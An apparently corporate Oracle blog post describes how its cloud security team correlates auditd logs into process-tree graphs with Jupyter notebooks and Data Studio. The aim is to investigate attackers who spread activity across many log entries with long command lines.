Based on reader interest on how the Oracle SaaS Cloud Security (SCS) organization uses Oracle Labs PGX for our Automated SaaS Cloud Security Services (ASCSS infrastructure, I wanted to follow up with an article on one of the advantages of using graph-powered security analytics. This posting describes how graphs make it very easy for incident responders or security engineers to analyze, investigate, and quickly identify the root cause of potential security issues or suspicious activities.
Setting Up Threat Hunting using Graphs
For example, you can configure an Auditd rule that captures events on the user level in a Linux system:
-a always,exit -F perm=x -F auid>=500 -F auid!=4294967295 -k process_events
This rule captures events in logs similar to the one below:
Visualization using Kibana
Logs are produced for every action or activity, including activities by a malicious user or an attacker. These logs are recorded and transported to data repositories (like a SIEM for analysis and alerting (as appropriate). After the logs are stored in a data repository, you need a way to visualize the logs so that analysts can identify what is occurring related to a potential alert. One common tool to visualize logs is Kibana, which is an open-source data visualization dashboard for Elasticsearch. It provides visualization capabilities on top of the content (logs) indexed on an Elasticsearch cluster.
Let’s show how this works in an example (real-world) attack scenario.
Example Attack Scenario
Attackers are very aware of the security infrastructure tools that are used by security engineers and Blue team members. One of the techniques used by sophisticated attackers to defeat security infrastructure detection capabilities or the ability of researchers to investigate activities is by using very long command lines in the shell or writing scripts to perform complex tasks. Most attackers know that when they execute a long command line or a script, many logging and event management systems capture the actual commands, processes, and actions in multiple log entries. Attackers intentionally use this technique as multiple log entries are hard to correlate and analyze, and do not always generate a meaningful alert that can be investigated.
Figure: Sample log entries in Elastic Search
Solution Using Graph Based Analytics
As noted above, when an attacker using this technique and generates a large number of logs combined with a large number of fields in each log, it is extremely difficult to investigate and correlate related logs to a given activity. It might take security analysts hours to analyze all the logs and correlate the associated activities into a single attacker or session.
To address this issue, the SCS advanced detection engineering (ADP) team builds Jupyter notebooks for specific attacker patterns or profiles. These notebooks perform automated analysis and generate graphs using the Oracle Labs Data Studio. We extract key information (such as process PID or process PPID) from original logs (data visualizations in Kibana) and then pass the information as URL parameters to a set of pre-defined notebook templates that generate a graph automatically. The graph shows a process tree that includes all related process activities.
Figure: Visualization of correlated logs in Data Studio
When all the processes, commands, and actions are visualized and connected using Data Studio, a security engineer or analyst can rapidly determine the threat, risk, and impact of a potential attack in minutes instead of hours. SCS has built a set of automated notebook templates for internal Blue Team members to use for various attacker profiles whenever an alert is received.
In summary, the combination of threat intelligence with world-class visualization tools in an automated security infrastructure like ASCSS enables intrusion detection and analysis to be completed in record time, which reduces the window of potential impact significantly. We will continue to share the innovation and insights of the detection and protection technologies that we built into the ASCSS infrastructure in future blog posts.